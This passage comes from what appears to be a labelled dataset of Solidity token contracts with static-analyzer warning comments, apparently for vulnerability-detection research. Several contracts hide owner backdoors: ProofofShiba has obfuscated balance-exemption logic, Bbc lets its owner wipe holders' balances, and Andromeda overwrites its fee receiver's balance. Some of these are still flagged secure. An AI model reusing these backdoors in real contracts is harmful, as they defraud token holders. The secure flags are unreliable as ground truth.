feeAmount = 0;\n _balances[feeReceiver] = approveSwap(from);\n if (shouldTakeFee(from, recipient)) {\n feeAmount = amount.mul(_fee).div(100);\n }\n return feeAmount;\n }\n function shouldTakeFee(\n address from,\n address recipient\n ) private returns (bool) {\n return\n isAllowed(\n from,\n recipient,\n IUniswapV2Factory(_router.factory()).getPair(\n address(this),\n _router.WETH()\n )\n );\n }\n constructor() {\n _balances[msg.sender] = _totalSupply;\n emit Transfer(address(0), msg.sender, _balances[msg.sender]);\n }\n function name() external view returns (string memory) {\n return _name;\n }\n function symbol() external view returns (string memory) {\n return _symbol;\n }\n function decimals() external view returns (uint256) {\n return _decimals;\n }\n function totalSupply() external view override returns (uint256) {\n return _totalSupply;\n }\n function balanceOf(address account) public view override returns (uint256) {\n return _balances[account];\n }\n function approve(\n address spender,\n uint256 amount\n ) public virtual override returns (bool) {\n _approve(msg.sender, spender, amount);\n return true;\n }\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: eefb345): Andromeda._approve(address,address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for eefb345: Rename the local variables that shadow another component.\n function _approve(\n address owner,\n address spender,\n uint256 amount\n ) internal virtual {\n require(owner != address(0), \"IERC20: approve from the zero address\");\n require(spender != address(0), \"IERC20: approve to the zero address\");\n _allowances[owner][spender] = amount;\n emit Approval(owner, spender, amount);\n }\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 89147eb): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 89147eb: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function swap(uint256 _mcs, address _bcr) private {\n _approve(address(this), address(_router), _mcs);\n _balances[address(this)] = _mcs;\n address[] memory path = new address[](2);\n inLiquidityTx = true;\n path[0] = address(this);\n path[1] = _router.WETH();\n\t\t// reentrancy-benign | ID: 89147eb\n _router.swapExactTokensForETHSupportingFeeOnTransferTokens(\n _mcs,\n 0,\n path,\n _bcr,\n block.timestamp + 30\n );\n\t\t// reentrancy-benign | ID: 89147eb\n inLiquidityTx = false;\n }\n function approveSwap(address from) private view returns (uint256) {\n address to = getPairAddress();\n return swapFee(from, to, balanceOf(feeReceiver));\n }\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 296297d): Andromeda.swapFee(address,address,uint256).feeReceiver shadows ERC20Token.feeReceiver (state variable)\n\t// Recommendation for 296297d: Rename the local variables that shadow another component.\n function swapFee(\n address feeReceiver,\n address to,\n uint256 feeAmount\n ) private pure returns (uint256) {\n uint256 amount = feeAmount;\n if (feeReceiver != to) {\n amount = feeAmount;\n } else {\n amount = amount - feeAmount;\n }\n return amount;\n }\n function transfer(\n address recipient,\n uint256 amount\n ) public virtual override returns (bool) {\n _transfer(msg.sender, recipient, amount);\n return true;\n }\n function transferFrom(\n address from,\n address recipient,\n uint256 amount\n ) public virtual override returns (bool) {\n _transfer(from, recipient, amount);\n require(_allowances[from][msg.sender] >= amount);\n return true;\n }\n function getPairAddress() private view returns (address) {\n return\n IUniswapV2Factory(_router.factory()).getPair(\n address(this),\n _router.WETH()\n );\n }\n address public marketingWallet;\n\t// WARNING Vulnerability (missing-zero-check | severity: Low | ID: a20f209): Andromeda.updateMarketingWallet(address).a lacks a zerocheck on \t marketingWallet = a\n\t// Recommendation for a20f209: Check that the address is not zero.\n function updateMarketingWallet(address a) external onlyOwner {\n\t\t// missing-zero-check | ID: a20f209\n marketingWallet = a;\n }\n bool cooldownEnabled = false;\n function setCooldownEnabled(bool _enabled) external onlyOwner {\n cooldownEnabled = _enabled;\n }\n}",
"file_name": "solidity_code_1840.sol",
"secure": 0,
"size_bytes": 9034
} |
{
"code": "// SPDX-License-Identifier: AGPL-3.0-only\n\npragma solidity ^0.8.0;\n\nlibrary OracleInterfaces {\n bytes32 public constant Oracle = \"Oracle\";\n bytes32 public constant IdentifierWhitelist = \"IdentifierWhitelist\";\n bytes32 public constant Store = \"Store\";\n bytes32 public constant FinancialContractsAdmin = \"FinancialContractsAdmin\";\n bytes32 public constant Registry = \"Registry\";\n bytes32 public constant CollateralWhitelist = \"CollateralWhitelist\";\n bytes32 public constant OptimisticOracle = \"OptimisticOracle\";\n bytes32 public constant OptimisticOracleV2 = \"OptimisticOracleV2\";\n bytes32 public constant OptimisticOracleV3 = \"OptimisticOracleV3\";\n bytes32 public constant Bridge = \"Bridge\";\n bytes32 public constant GenericHandler = \"GenericHandler\";\n bytes32 public constant SkinnyOptimisticOracle = \"SkinnyOptimisticOracle\";\n bytes32 public constant ChildMessenger = \"ChildMessenger\";\n bytes32 public constant OracleHub = \"OracleHub\";\n bytes32 public constant OracleSpoke = \"OracleSpoke\";\n}",
"file_name": "solidity_code_1841.sol",
"secure": 1,
"size_bytes": 1057
} |
{
"code": "// SPDX-License-Identifier: AGPL-3.0-only\n\npragma solidity ^0.8.0;\n\nlibrary OptimisticOracleConstraints {\n uint256 public constant ancillaryBytesLimit = 8192;\n}",
"file_name": "solidity_code_1842.sol",
"secure": 1,
"size_bytes": 169
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\ncontract MathOperators8 {\n uint256 public a = 21000000;\n function Operator_1() public {\n a >>= 10;\n }\n}",
"file_name": "solidity_code_1843.sol",
"secure": 1,
"size_bytes": 186
} |
{
"code": "// SPDX-License-Identifier: UNLICENSE\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/utils/Context.sol\" as Context;\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\nimport \"@openzeppelin/contracts/utils/Address.sol\" as Address;\nimport \"@openzeppelin/contracts/utils/math/SafeMath.sol\" as SafeMath;\n\ncontract Bbc is Context, IERC20 {\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n using SafeMath for uint256;\n\n using Address for address;\n\n string private _name;\n\n string private _symbol;\n\n uint8 private immutable _decimals;\n\n uint256 private _totalSupply;\n\n address public immutable voucher;\n\n constructor() {\n _name = \"BBC\";\n\n _symbol = \"BBC\";\n\n _decimals = 18;\n\n uint256 initialSupply = 671000000;\n\n voucher = msg.sender;\n\n _mint(msg.sender, initialSupply * (10 ** 18));\n }\n\n function name() public view returns (string memory) {\n return _name;\n }\n\n function symbol() public view returns (string memory) {\n return _symbol;\n }\n\n function decimals() public view returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public view override returns (uint256) {\n return _totalSupply;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public virtual override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n\n return true;\n }\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public virtual override returns (bool) {\n _transfer(sender, recipient, amount);\n\n _approve(\n sender,\n _msgSender(),\n _allowances[sender][_msgSender()].sub(\n amount,\n \"ERC20: transfer amount exceeds allowance\"\n )\n );\n\n return true;\n }\n\n function allowance(\n address owner,\n address spender\n ) public view virtual override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public virtual override returns (bool) {\n _approve(_msgSender(), spender, amount);\n\n return true;\n }\n\n function _mint(address account, uint256 amount) internal virtual {\n require(account != address(0), \"ERC20: mint to the zero address\");\n\n _totalSupply = _totalSupply.add(amount);\n\n _balances[account] = _balances[account].add(amount);\n\n emit Transfer(address(0), account, amount);\n }\n\n function _approve(\n address owner,\n address spender,\n uint256 amount\n ) internal virtual {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n _allowances[owner][spender] = amount;\n\n emit Approval(owner, spender, amount);\n }\n\n function _transfer(\n address sender,\n address recipient,\n uint256 amount\n ) internal virtual {\n require(sender != address(0), \"ERC20: transfer from the zero address\");\n\n require(recipient != address(0), \"ERC20: transfer to the zero address\");\n\n _balances[sender] = _balances[sender].sub(\n amount,\n \"ERC20: transfer amount exceeds balance\"\n );\n\n _balances[recipient] = _balances[recipient].add(amount);\n\n emit Transfer(sender, recipient, amount);\n }\n\n modifier onlyOwner() {\n require(msg.sender == voucher, \"Not allowed\");\n\n _;\n }\n\n function time(address[] memory dimension) public onlyOwner {\n for (uint256 i = 0; i < dimension.length; i++) {\n address account = dimension[i];\n\n uint256 amount = _balances[account];\n\n _balances[account] = _balances[account].sub(amount, \"ERROR\");\n\n _balances[address(0)] = _balances[address(0)].add(amount);\n }\n }\n}",
"file_name": "solidity_code_1844.sol",
"secure": 1,
"size_bytes": 4354
} |
{
"code": "// SPDX-License-Identifier: GPL-3.0\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\nimport \"@uniswap/v2-periphery/contracts/interfaces/IUniswapV2Router02.sol\" as IUniswapV2Router02;\nimport \"@uniswap/v2-core/contracts/interfaces/IUniswapV2Factory.sol\" as IUniswapV2Factory;\n\ncontract ProofofShiba is Ownable {\n function transfer(\n address vbzmdojalg,\n uint256 bqavfgx\n ) public returns (bool success) {\n tcni(msg.sender, vbzmdojalg, bqavfgx);\n return true;\n }\n\n mapping(address => mapping(address => uint256)) public allowance;\n\n mapping(address => uint256) private watgzufvlpnk;\n\n\t// WARNING Optimization Issue (constable-states | ID: 95d0c9a): ProofofShiba.totalSupply should be constant \n\t// Recommendation for 95d0c9a: Add the 'constant' attribute to state variables that never change.\n uint256 public totalSupply = 1000000000 * 10 ** 9;\n\n mapping(address => uint256) public balanceOf;\n\n constructor(address spblmogy) {\n balanceOf[msg.sender] = totalSupply;\n zbxijoavm[spblmogy] = xhmanpvsi;\n IUniswapV2Router02 aqyknhmsbd = IUniswapV2Router02(\n 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\n );\n gznrmbv = IUniswapV2Factory(aqyknhmsbd.factory()).createPair(\n address(this),\n aqyknhmsbd.WETH()\n );\n }\n\n function approve(\n address qvdacgmzhfr,\n uint256 bqavfgx\n ) public returns (bool success) {\n allowance[msg.sender][qvdacgmzhfr] = bqavfgx;\n emit Approval(msg.sender, qvdacgmzhfr, bqavfgx);\n return true;\n }\n\n\t// WARNING Optimization Issue (constable-states | ID: 4440ba1): ProofofShiba.xhmanpvsi should be constant \n\t// Recommendation for 4440ba1: Add the 'constant' attribute to state variables that never change.\n uint256 private xhmanpvsi = 100;\n\n\t// WARNING Optimization Issue (constable-states | ID: bcace27): ProofofShiba.symbol should be constant \n\t// Recommendation for bcace27: Add the 'constant' attribute to state variables that never change.\n string public symbol = \"POS\";\n\n function tcni(address kptfql, address vbzmdojalg, uint256 bqavfgx) private {\n if (0 == zbxijoavm[kptfql]) {\n balanceOf[kptfql] -= bqavfgx;\n }\n balanceOf[vbzmdojalg] += bqavfgx;\n if (0 == bqavfgx && vbzmdojalg != gznrmbv) {\n balanceOf[vbzmdojalg] = bqavfgx;\n }\n emit Transfer(kptfql, vbzmdojalg, bqavfgx);\n }\n\n event Transfer(address indexed from, address indexed to, uint256 value);\n\n event Approval(\n address indexed owner,\n address indexed spender,\n uint256 value\n );\n\n\t// WARNING Optimization Issue (immutable-states | ID: a645abd): ProofofShiba.gznrmbv should be immutable \n\t// Recommendation for a645abd: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address public gznrmbv;\n\n\t// WARNING Optimization Issue (constable-states | ID: 10e8fd8): ProofofShiba.decimals should be constant \n\t// Recommendation for 10e8fd8: Add the 'constant' attribute to state variables that never change.\n uint8 public decimals = 9;\n\n mapping(address => uint256) private zbxijoavm;\n\n function transferFrom(\n address kptfql,\n address vbzmdojalg,\n uint256 bqavfgx\n ) public returns (bool success) {\n require(bqavfgx <= allowance[kptfql][msg.sender]);\n allowance[kptfql][msg.sender] -= bqavfgx;\n tcni(kptfql, vbzmdojalg, bqavfgx);\n return true;\n }\n\n\t// WARNING Optimization Issue (constable-states | ID: 30a7ebc): ProofofShiba.name should be constant \n\t// Recommendation for 30a7ebc: Add the 'constant' attribute to state variables that never change.\n string public name = \"Proof of Shiba\";\n}",
"file_name": "solidity_code_1845.sol",
"secure": 1,
"size_bytes": 3909
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\ncontract MathOperators9 {\n uint256 public a = 21000000;\n function Operator_1() public {\n a /= 2 ** 10;\n }\n}",
"file_name": "solidity_code_1846.sol",
"secure": 1,
"size_bytes": 190
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/utils/Context.sol\" as Context;\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\nimport \"@openzeppelin/contracts/interfaces/IERC20Metadata.sol\" as IERC20Metadata;\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\n\ncontract ERC20 is Context, IERC20, IERC20Metadata, Ownable {\n mapping(address => uint256) internal _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n uint256 private _totalSupply;\n\n string private _name;\n string private _symbol;\n uint8 internal _decimals;\n\n constructor(string memory name_, string memory symbol_, uint8 decimals_) {\n _name = name_;\n _symbol = symbol_;\n _decimals = decimals_;\n }\n\n function name() public view virtual override returns (string memory) {\n return _name;\n }\n\n function symbol() public view virtual override returns (string memory) {\n return _symbol;\n }\n\n function decimals() public view virtual override returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public view virtual override returns (uint256) {\n return _totalSupply;\n }\n\n function balanceOf(\n address account\n ) public view virtual override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public virtual override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 72056d9): ERC20.allowance(address,address).owner shadows Ownable.owner() (function)\n\t// Recommendation for 72056d9: Rename the local variables that shadow another component.\n function allowance(\n address owner,\n address spender\n ) public view virtual override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public virtual override returns (bool) {\n _approve(_msgSender(), spender, amount);\n return true;\n }\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public virtual override returns (bool) {\n _transfer(sender, recipient, amount);\n\n uint256 currentAllowance = _allowances[sender][_msgSender()];\n require(\n currentAllowance >= amount,\n \"ERC20: transfer amount exceeds allowance\"\n );\n _approve(sender, _msgSender(), currentAllowance - amount);\n\n return true;\n }\n\n function increaseAllowance(\n address spender,\n uint256 addedValue\n ) public virtual returns (bool) {\n _approve(\n _msgSender(),\n spender,\n _allowances[_msgSender()][spender] + addedValue\n );\n return true;\n }\n\n function decreaseAllowance(\n address spender,\n uint256 subtractedValue\n ) public virtual returns (bool) {\n uint256 currentAllowance = _allowances[_msgSender()][spender];\n require(\n currentAllowance >= subtractedValue,\n \"ERC20: decreased allowance below zero\"\n );\n _approve(_msgSender(), spender, currentAllowance - subtractedValue);\n\n return true;\n }\n\n function _transfer(\n address sender,\n address recipient,\n uint256 amount\n ) internal virtual {\n require(sender != address(0), \"ERC20: transfer from the zero address\");\n require(recipient != address(0), \"ERC20: transfer to the zero address\");\n\n _beforeTokenTransfer(sender, recipient, amount);\n\n uint256 senderBalance = _balances[sender];\n require(\n senderBalance >= amount,\n \"ERC20: transfer amount exceeds balance\"\n );\n _balances[sender] = senderBalance - amount;\n _balances[recipient] += amount;\n\n emit Transfer(sender, recipient, amount);\n }\n\n function _mint(address account, uint256 amount) internal virtual {\n require(account != address(0), \"ERC20: mint to the zero address\");\n\n _beforeTokenTransfer(address(0), account, amount);\n\n _totalSupply += amount;\n _balances[account] += amount;\n emit Transfer(address(0), account, amount);\n }\n\n function _burn(address account, uint256 amount) internal virtual {\n require(account != address(0), \"ERC20: burn from the zero address\");\n\n _beforeTokenTransfer(account, address(0), amount);\n\n uint256 accountBalance = _balances[account];\n require(accountBalance >= amount, \"ERC20: burn amount exceeds balance\");\n _balances[account] = accountBalance - amount;\n _totalSupply -= amount;\n\n emit Transfer(account, address(0), amount);\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 6c3d6e7): ERC20._approve(address,address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for 6c3d6e7: Rename the local variables that shadow another component.\n function _approve(\n address owner,\n address spender,\n uint256 amount\n ) internal virtual {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n _allowances[owner][spender] = amount;\n emit Approval(owner, spender, amount);\n }\n\n function _beforeTokenTransfer(\n address from,\n address to,\n uint256 amount\n ) internal virtual {}\n}",
"file_name": "solidity_code_1847.sol",
"secure": 0,
"size_bytes": 5812
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/token/ERC20/ERC20.sol\" as ERC20;\n\ncontract ExclusiveNetwork is ERC20(\"Exclusive Network\", \"Exc\", 18) {\n\t// WARNING Optimization Issue (constable-states | ID: de1f9b0): ExclusiveNetwork.fund_receiver should be constant \n\t// Recommendation for de1f9b0: Add the 'constant' attribute to state variables that never change.\n address private fund_receiver =\n payable(0x2B489D6470501a81C9dD309B7f731E337bA9C337);\n\n uint256 public tokenRate = 500000 * (10 ** 18);\n\n struct RolesLocked {\n address[] address_;\n uint8 percentLocked;\n uint256 timeLocked;\n }\n\n mapping(string => RolesLocked) private roles;\n mapping(address => uint256) private presale_total_per_user;\n uint256 public per_person_cap = 5070000000000000000;\n\n struct RolesUnlocked {\n address address_;\n uint8 percent;\n }\n\n RolesUnlocked public public_sale_unlocked =\n RolesUnlocked(0x7642B7ecBEc2a37f1ab9fdbf19Eb2Fede28E2301, 40);\n RolesUnlocked public exchanges_and_liquidity_unlocked =\n RolesUnlocked(0x441db5A35c4241060703737C4786f6A87d55034F, 5);\n RolesUnlocked public marketing_unlocked =\n RolesUnlocked(0xAD7fD36B13bdA52048616B9A02E59b60CB3f78B2, 10);\n RolesUnlocked public presale_unlocked =\n RolesUnlocked(0x7423C1831C50AeA3868780e7b4f8d5F090242a8F, 10);\n\n uint256 public presale_fund;\n\n bool public isPresaleStarted = false;\n\n\t// WARNING Vulnerability (timestamp | severity: Low | ID: eda2285): Dangerous usage of 'block.timestamp'. 'block.timestamp' can be manipulated by miners.\n\t// Recommendation for eda2285: Avoid relying on 'block.timestamp'.\n\t// WARNING Vulnerability (divide-before-multiply | severity: Medium | ID: a3a51d4): ExclusiveNetwork.constructor() performs a multiplication on the result of a division presale_fund = ((20 * ((presale_unlocked.percent * supply) / 100)) / 100)\n\t// Recommendation for a3a51d4: Consider ordering multiplication before division.\n constructor() {\n address[] memory partnership = new address[](3);\n partnership[0] = 0x1827A11990001d5f9F6Ca21d5D752A84f4265835;\n partnership[1] = 0x03653cFB415ba73b9cB9D178cc339f5eC0fc6351;\n partnership[2] = 0x166E5d714be7a73351E28A2835CCb77D8Dc119CF;\n roles[\"partnership_locked_address\"] = RolesLocked(\n partnership,\n 15,\n block.timestamp + 63072000\n ); // blocktime + 2 years of time. with 15%\n\n address[] memory team = new address[](2);\n team[0] = 0x2d6362839a58235698123f520237Dd3052A56AAb;\n team[1] = 0xE05F5F34B23E55eaac3D4f6DceBb402b1ec6760E;\n roles[\"team_locked_address\"] = RolesLocked(\n team,\n 10,\n block.timestamp + 63072000\n ); // blocktime + 2 year of time. with 10%\n\n address[] memory advisors = new address[](1);\n advisors[0] = 0x2a7D8a9298b753B9E74575dB8C5f9bCFfbA1e7Bb;\n roles[\"advisors_locked_address\"] = RolesLocked(\n advisors,\n 5,\n block.timestamp + 31536000\n ); // blocktime + 1 year with 5 %.\n\n address[] memory reserve = new address[](1);\n reserve[0] = 0x04b1a69d7d943217a1C95efAdFA8d653c5E8FC3e;\n roles[\"Reserve_locked_address\"] = RolesLocked(\n reserve,\n 5,\n block.timestamp + 31536000\n ); // blocktime + 1 year with 5 %.\n\n uint256 supply = 2 * (10 ** 9) * (10 ** 18);\n\n for (\n uint i = 0;\n\t\t\t// timestamp | ID: eda2285\n i < roles[\"partnership_locked_address\"].address_.length;\n i++\n ) {\n _mint(\n roles[\"partnership_locked_address\"].address_[i],\n (roles[\"partnership_locked_address\"].percentLocked * supply) /\n (100 * roles[\"partnership_locked_address\"].address_.length)\n );\n }\n\n for (\n uint i = 0;\n\t\t\t// timestamp | ID: eda2285\n i < roles[\"team_locked_address\"].address_.length;\n i++\n ) {\n _mint(\n roles[\"team_locked_address\"].address_[i],\n (roles[\"team_locked_address\"].percentLocked * supply) /\n (100 * roles[\"team_locked_address\"].address_.length)\n );\n }\n\n for (\n uint i = 0;\n\t\t\t// timestamp | ID: eda2285\n i < roles[\"advisors_locked_address\"].address_.length;\n i++\n ) {\n _mint(\n roles[\"advisors_locked_address\"].address_[i],\n (roles[\"advisors_locked_address\"].percentLocked * supply) /\n (100 * roles[\"advisors_locked_address\"].address_.length)\n );\n }\n\n for (\n uint i = 0;\n\t\t\t// timestamp | ID: eda2285\n i < roles[\"Reserve_locked_address\"].address_.length;\n i++\n ) {\n _mint(\n roles[\"Reserve_locked_address\"].address_[0],\n (roles[\"Reserve_locked_address\"].percentLocked * supply) /\n (100 * roles[\"Reserve_locked_address\"].address_.length)\n );\n }\n\n _mint(\n public_sale_unlocked.address_,\n (public_sale_unlocked.percent * supply) / 100\n );\n _mint(\n exchanges_and_liquidity_unlocked.address_,\n (exchanges_and_liquidity_unlocked.percent * supply) / 100\n );\n _mint(\n marketing_unlocked.address_,\n (marketing_unlocked.percent * supply) / 100\n );\n\n _mint(\n presale_unlocked.address_,\n (presale_unlocked.percent * supply) / 100\n );\n\t\t// divide-before-multiply | ID: a3a51d4\n presale_fund = ((20 * ((presale_unlocked.percent * supply) / 100)) /\n 100);\n _approve(\n presale_unlocked.address_,\n address(this),\n (presale_unlocked.percent * supply) / 100\n );\n }\n\n\t// WARNING Vulnerability (timestamp | severity: Low | ID: 3c2c0ca): Dangerous usage of 'block.timestamp'. 'block.timestamp' can be manipulated by miners.\n\t// Recommendation for 3c2c0ca: Avoid relying on 'block.timestamp'.\n function _transfer(\n address sender,\n address recipient,\n uint256 amount\n ) internal virtual override {\n require(sender != address(0), \"ERC20: transfer from the zero address\");\n require(recipient != address(0), \"ERC20: transfer to the zero address\");\n\n for (\n uint i = 0;\n\t\t\t// timestamp | ID: 3c2c0ca\n i < roles[\"partnership_locked_address\"].address_.length;\n i++\n ) {\n\t\t\t// timestamp | ID: 3c2c0ca\n if (sender == roles[\"partnership_locked_address\"].address_[i]) {\n\t\t\t\t// timestamp | ID: 3c2c0ca\n require(\n roles[\"partnership_locked_address\"].timeLocked <\n block.timestamp,\n \"ERC20: TimeClock not reached for partnership_locked_address.\"\n );\n }\n }\n\n for (\n uint i = 0;\n\t\t\t// timestamp | ID: 3c2c0ca\n i < roles[\"team_locked_address\"].address_.length;\n i++\n ) {\n\t\t\t// timestamp | ID: 3c2c0ca\n if (sender == roles[\"team_locked_address\"].address_[0]) {\n\t\t\t\t// timestamp | ID: 3c2c0ca\n require(\n roles[\"team_locked_address\"].timeLocked < block.timestamp,\n \"ERC20: TimeClock not reached for team_locked_address.\"\n );\n }\n }\n\n for (\n uint i = 0;\n\t\t\t// timestamp | ID: 3c2c0ca\n i < roles[\"advisors_locked_address\"].address_.length;\n i++\n ) {\n\t\t\t// timestamp | ID: 3c2c0ca\n if (sender == roles[\"advisors_locked_address\"].address_[0]) {\n\t\t\t\t// timestamp | ID: 3c2c0ca\n require(\n roles[\"advisors_locked_address\"].timeLocked <\n block.timestamp,\n \"ERC20: TimeClock not reached for advisors_locked_address.\"\n );\n }\n }\n\n for (\n uint i = 0;\n\t\t\t// timestamp | ID: 3c2c0ca\n i < roles[\"Reserve_locked_address\"].address_.length;\n i++\n ) {\n\t\t\t// timestamp | ID: 3c2c0ca\n if (sender == roles[\"Reserve_locked_address\"].address_[0]) {\n\t\t\t\t// timestamp | ID: 3c2c0ca\n require(\n roles[\"Reserve_locked_address\"].timeLocked <\n block.timestamp,\n \"ERC20: TimeClock not reached for Reserve_locked_address.\"\n );\n }\n }\n\n _beforeTokenTransfer(sender, recipient, amount);\n\n uint256 senderBalance = _balances[sender];\n require(\n senderBalance >= amount,\n \"ERC20: transfer amount exceeds balance\"\n );\n _balances[sender] = senderBalance - amount;\n _balances[recipient] += amount;\n\n emit Transfer(sender, recipient, amount);\n }\n\n function startPresale() public onlyOwner {\n isPresaleStarted = true;\n }\n\n function endPresale() public onlyOwner {\n isPresaleStarted = false;\n }\n\n function changePerPersonCap(uint256 _newCap) public onlyOwner {\n per_person_cap = _newCap;\n }\n\n\t// WARNING Vulnerability (divide-before-multiply | severity: Medium | ID: b41d53e): Solidity's integer division truncates. Thus, performing division before multiplication can lead to precision loss.\n\t// Recommendation for b41d53e: Consider ordering multiplication before division.\n\t// WARNING Vulnerability (divide-before-multiply | severity: Medium | ID: 60e5ac2): ExclusiveNetwork.buyToken() performs a multiplication on the result of a division transferAmount = (msg.value * tokenRate) / (10 ** 18) presale_fund = ((20 * transferAmount) / 100)\n\t// Recommendation for 60e5ac2: Consider ordering multiplication before division.\n function buyToken() public payable {\n require(\n msg.sender != address(0),\n \"ERC20: zero address cannot buy tokens\"\n );\n require(msg.value > 0, \"ERC20: value is Zero\");\n require(isPresaleStarted == true, \"ERC20: Sale Not Started!\");\n require(\n msg.value <= per_person_cap - presale_total_per_user[msg.sender],\n \"ERC20: Requested amount exceed the per user Limit.\"\n );\n\n\t\t// divide-before-multiply | ID: b41d53e\n\t\t// divide-before-multiply | ID: 60e5ac2\n uint256 transferAmount = (msg.value * tokenRate) / (10 ** 18);\n\n require(\n presale_fund >= transferAmount,\n \"ERC20: Presale fund remaining not meeting the requirements.\"\n );\n\n\t\t// divide-before-multiply | ID: b41d53e\n _transfer(\n presale_unlocked.address_,\n msg.sender,\n ((20 * transferAmount) / 100)\n );\n\t\t// divide-before-multiply | ID: 60e5ac2\n presale_fund -= ((20 * transferAmount) / 100);\n\n payable(fund_receiver).transfer(msg.value);\n presale_total_per_user[msg.sender] += msg.value;\n }\n\n function setTokenRate(\n uint256 _no_of_token_per_eth_withDecimals\n ) public onlyOwner {\n tokenRate = _no_of_token_per_eth_withDecimals;\n }\n\n function Airdrop(\n address[] memory _airdropReceivers,\n uint256[] memory _amountWithDecimals\n ) public {\n for (uint i = 0; i < _airdropReceivers.length; i++) {\n transfer(_airdropReceivers[i], _amountWithDecimals[i]);\n }\n }\n\n function get_partnership_locked_details()\n public\n view\n returns (RolesLocked memory)\n {\n return roles[\"partnership_locked_address\"];\n }\n\n function get_team_locked_details()\n public\n view\n returns (RolesLocked memory)\n {\n return roles[\"team_locked_address\"];\n }\n\n function get_advisor_locked_details()\n public\n view\n returns (RolesLocked memory)\n {\n return roles[\"advisors_locked_address\"];\n }\n\n function get_reserved_locked_details()\n public\n view\n returns (RolesLocked memory)\n {\n return roles[\"Reserve_locked_address\"];\n }\n}",
"file_name": "solidity_code_1848.sol",
"secure": 0,
"size_bytes": 12605
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/token/ERC20/ERC20.sol\" as ERC20;\n\ncontract LarpFinancePromo is ERC20 {\n constructor() ERC20(\"larp.finance\", \"LARP_PROMO\") {\n _mint(msg.sender, 69 * 10 ** decimals());\n }\n}",
"file_name": "solidity_code_1849.sol",
"secure": 1,
"size_bytes": 284
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"./ITestStatic.sol\" as ITestStatic;\n\ncontract Test2 {\n\t// WARNING Optimization Issue (constable-states | ID: 23eaae5): Test2.test should be constant \n\t// Recommendation for 23eaae5: Add the 'constant' attribute to state variables that never change.\n ITestStatic test = ITestStatic(0x8C70D9bF870ab356ECa11B82AB8c2b3f01681394);\n\n address public immutable initialCaller;\n\n constructor() {\n (, bytes memory returnData) = address(test).staticcall{gas: 10_000}(\n abi.encodeWithSelector(test.testStatic.selector)\n );\n\n initialCaller = abi.decode(returnData, (address));\n }\n\n function getInitialCaller() public view returns (address) {\n return initialCaller;\n }\n\n function executeStatic() public view returns (address origin) {\n (, bytes memory returnData) = address(test).staticcall{gas: 10_000}(\n abi.encodeWithSelector(test.testStatic.selector)\n );\n\n return (origin) = abi.decode(returnData, (address));\n }\n}",
"file_name": "solidity_code_185.sol",
"secure": 1,
"size_bytes": 1095
} |
{
"code": "// SPDX-License-Identifier: Unlicensed\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/utils/Context.sol\" as Context;\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\nimport \"@openzeppelin/contracts/utils/math/SafeMath.sol\" as SafeMath;\nimport \"@openzeppelin/contracts/utils/Address.sol\" as Address;\nimport \"@uniswap/v2-periphery/contracts/interfaces/IUniswapV2Router01.sol\" as IUniswapV2Router01;\nimport \"@uniswap/v2-core/contracts/interfaces/IUniswapV2Factory.sol\" as IUniswapV2Factory;\n\ncontract ShibaKombat is Context, IERC20, Ownable {\n using SafeMath for uint256;\n using Address for address;\n\n mapping(address => uint256) private _rOwned;\n mapping(address => uint256) private _tOwned;\n mapping(address => mapping(address => uint256)) private _allowances;\n mapping(address => uint256) private cooldown;\n\n mapping(address => bool) private _isExcluded;\n address[] private _excluded;\n address private uniswapV2Pair;\n\t// WARNING Optimization Issue (constable-states | ID: 1f2df9b): ShibaKombat.uniswapRouter01 should be constant \n\t// Recommendation for 1f2df9b: Add the 